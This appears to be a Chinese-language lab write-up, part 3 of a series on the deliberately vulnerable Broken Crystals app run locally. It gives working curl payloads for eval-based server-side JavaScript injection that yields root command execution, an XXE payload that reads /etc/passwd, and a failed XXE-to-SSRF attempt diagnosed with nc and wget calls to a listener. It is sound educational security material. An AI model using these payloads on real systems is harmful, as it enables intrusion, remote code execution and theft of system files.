> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Broken Crystals 實戰筆記 3：eval SSJI 拿 RCE，與讀得到檔卻打不動SSRF的XXE
- URL: https://taiwanding.com/broken-crystals-shi-zhan-bi-ji-3-eval-ssji-na-rce-yu-du-de-dao-dang-que-da-bu-dong-ssrfde-xxe/
- Published: 2026-07-03T06:06:37.000Z
- Updated: 2026-07-15T02:50:32.000Z
- Author: Kevin Chen
- Tags: machine, broken crystals, #xxe, #ssji

📚 系列文章 · Broken Crystals 實戰筆記

1. [Part 1：資訊洩漏 → 任意檔案讀取 LFI](https://taiwanding.com/broken-crystals-shi-zhan-bi-ji-1-cong-zi-xun-xie-lou-yi-lu-chuan-dao-ren-yi-dang-an-du-qu/)
2. [Part 2：query 參數 → root reverse shell](https://taiwanding.com/broken-crystals-shi-zhan-bi-ji-2-cong-yi-ge-query-can-shu-da-dao-root-reverse-shell/)
3. ▸ Part 3：eval SSJI 拿 RCE、XXE （本篇）
4. [Part 4：MCP 攻擊 → admin RCE kill chain](https://taiwanding.com/broken-crystals-shi-zhan-bi-ji-4-mcp-gong-ji-shi-zhan-cong-wei-ren-zheng-fang-ke-dao-admin-ti-quan-rce-de-wan-zheng-kill-chain/)

> 同一份 `dist/app.controller.js` 除了已經打穿的 `/api/spawn` 命令注入，還躺著兩個標的：`/api/process_numbers` 的 `eval()` 與 `/api/metadata` 的 XXE，這篇把這兩個補完，並誠實記錄 XXE 能讀檔卻打不出 SSRF 的原因——那段其實比「一打就成功」更有價值。

## 一、`/api/process_numbers`：eval SSJI → root RCE

### 白箱定位

源碼直接寫著把使用者輸入丟進 `eval`：

```js
const processNumbersExpression = typeof payload?.processing_expression === 'string'
    && payload.processing_expression.trim().length > 0
        ? payload.processing_expression
        : 'numbers.reduce((acc, num) => acc + num, 0)';
const result = eval(processNumbersExpression);   // 使用者控制的字串直接進 eval

```

`processing_expression` 全控，直接進 `eval()`，且 `result` 會被回傳。

### 先釐清：這是 SSJI，不是 SSTI

這裡容易混淆，先分清楚，差別在「輸入被丟進什麼引擎」：

- **SSTI（Server-Side Template Injection）**：輸入進了**模板引擎**（Handlebars、Jinja2、doT…），payload 是模板語法如 `{{7*7}}`、`<%= 7*7 %>`。
- **SSJI（Server-Side JavaScript Injection）**：輸入直接進 `eval()` 或 `Function()`，payload 是**原生 JS**如 `7*7`。

`/api/process_numbers` 是後者——輸入直接進 `eval`，中間沒有模板引擎，所以是 **SSJI**，（附帶一提，同一份 controller 的 `/api/render` 用 doT 引擎 `dot.compile(text)()`，那個才是 SSTI，兩者剛好可對照。）

### 驗證

先送純表達式，確認 `eval` 真的執行：

```bash
curl -s -X POST http://localhost:3000/api/process_numbers \
  -H "Content-Type: application/json" \
  -d '{"numbers":[1,2,3],"processing_expression":"7*7"}'
# 49

```

回 `49`（而非字串 `"7*7"`）→ SSJI 確認。

### 爬升到 RCE

`eval` 跑的是 Node.js，不是 shell，所以要用 **JS 語法**呼叫 Node 內建模組執行系統命令，關鍵是 `child_process`，並選用**同步且會回傳輸出**的 `execSync`（端點會 return `result`，所以要同步、回傳值即命令輸出）：

```bash
curl -s -X POST http://localhost:3000/api/process_numbers \
  -H "Content-Type: application/json" \
  -d '{"numbers":[1],"processing_expression":"require(\"child_process\").execSync(\"id\").toString()"}'
# uid=0(root) gid=0(root) groups=0(root),...

```

`uid=0(root)`——第二條獨立於 spawn 的 root RCE 路徑。

### SSJI 比 spawn 更強的兩點

**1\. 經過 shell，可自由串接，** spawn 那條卡在「不經 shell、`;` 串接會 ENOENT」，但 `execSync` 底層預設走 `/bin/sh -c`，元字元有效：

```bash
# id;whoami;hostname 三條都會執行（spawn 做不到）
... "processing_expression":"require(\"child_process\").execSync(\"id;whoami;hostname\").toString()"

```

**2\. 有整個 Node.js runtime 可用，不必經 shell，** 例如純 JS 用 `fs` 模組直接讀檔：

```bash
... "processing_expression":"require(\"fs\").readFileSync(\"/etc/passwd\").toString()"

```

SSJI 的本質是：你拿到的不只是「執行命令」，而是「執行任意 Node.js 程式碼」，能力上界高於單純的命令注入。

## 二、`/api/metadata`：XXE 任意檔案讀取（SSRF 受限）

### 白箱定位

```js
const xmlDoc = parseXml(decodeURIComponent(xml), {
    noent: true,      // 展開外部實體 —— XXE 的開關
    dtdvalid: true,
    recover: true
});
return xmlDoc.toString(true);   // 回傳解析結果 → 有回顯 XXE

```

`noent: true` 讓 libxmljs 展開 XML 外部實體，且結果回傳給使用者，屬有回顯（in-band）的 XXE。

### 驗證與讀檔

XXE payload 三塊結構：XML 宣告 + `DOCTYPE` 定義外部實體 + body 引用該實體，要點是元素名稱與實體名稱**皆為自訂**，只需前後一致（DOCTYPE 名對應根元素名、ENTITY 名對應 `&名;`）：

```bash
curl -s -X POST http://localhost:3000/api/metadata \
  -H "Content-Type: text/xml" \
  --data '<?xml version="1.0"?><!DOCTYPE pwn [ <!ENTITY leak SYSTEM "file:///etc/passwd"> ]><pwn>&leak;</pwn>'

```

回顯 `/etc/passwd` 內容於 `<pwn>` 中——**XXE 任意檔案讀取成立，**（這是本目標第三條讀檔路徑，與 `/api/file` 的 LFI、`/api/spawn` 的 RCE 讀相互印證。）

### XXE-to-SSRF 嘗試：讀得到檔，卻打不動 SSRF

把 `file://` 換成內網 URL，預期讓後端主動請求內部服務：

```bash
curl -s -X POST http://localhost:3000/api/metadata \
  -H "Content-Type: text/xml" \
  --data '<?xml version="1.0"?><!DOCTYPE pwn [ <!ENTITY leak SYSTEM "http://172.22.0.1:8000/xxe-ssrf-proof"> ]><pwn>&leak;</pwn>'
# <pwn/>   （空元素，本機 listener 沒收到任何請求）

```

回 `<pwn/>` 空元素，本機 HTTP listener 也沒有任何 callback，這需要排查——**是網路不通，還是 XXE 不發 HTTP？** 用已確認可靠的 spawn RCE 通道隔離變因：

```bash
# 1. 測容器到 listener 的連通性
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=nc -zv 172.22.0.1 8000"
# 172.22.0.1 (172.22.0.1:8000) open      ← 網路通

# 2. 用容器的 wget 主動打 listener
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=wget -O- http://172.22.0.1:8000/spawn-test"
# listener 收到:  172.22.0.7 - - "GET /spawn-test HTTP/1.1"   ← 容器確實能發 HTTP

```

結論釘死：**網路 100% 通（spawn 的 wget 打得到 listener），但 XXE 就是不發 HTTP 請求。**

### 為什麼能 `file://` 卻不能 `http://`

外部實體的協定支援取決於底層 **libxml2 的編譯選項**：

- `**file://**`：讀本地檔案，基本支援，幾乎必成（所以讀 `/etc/passwd` 成功）。
- **`http://`**：需要 libxml2 編譯時開啟 **nanohttp** 網路模組，精簡容器（如 Alpine base）常關掉或不完整，導致 `http://` 外部實體不觸發網路請求，實體展開成空 → 回顯 `<pwn/>`。

這是真實 XXE-SSRF 常見的「打不動」原因：**XXE 讀檔成功，不代表 XXE-SSRF 一定成功**，取決於解析器對 `http://` 的支援。這台的 libxml2 沒有 nanohttp，所以 XXE-SSRF 不通。

## 攻擊鏈總結

```
白箱源碼審計 (dist/app.controller.js)
    ├─ /api/process_numbers  eval() SSJI
    │      ├─ 7*7 → 49                      (確認 SSJI，非 SSTI)
    │      ├─ child_process.execSync('id')  → root RCE
    │      └─ 經 shell，可串接 + 純 JS fs 讀檔  (能力上界高於 spawn)
    │
    └─ /api/metadata  XXE (noent:true)
           ├─ file:///etc/passwd            → 任意檔案讀取 ✅
           └─ http://internal               → SSRF ✗ (libxml2 無 nanohttp)

```

兩個收穫超過「成功利用」本身：一是 SSTI 與 SSJI 的分辨（輸入進模板引擎 vs 進 eval），二是「XXE 能讀檔 ≠ 能 SSRF」的解析器層面理解，以及用一條可靠的 RCE 通道去隔離變因、釘死「網路通但 XXE 不發 HTTP」的排查方法。

*本文為授權範圍內的本機自建靶場測試紀錄，僅供防禦研究與教育用途。請勿將任何技術用於未授權目標。*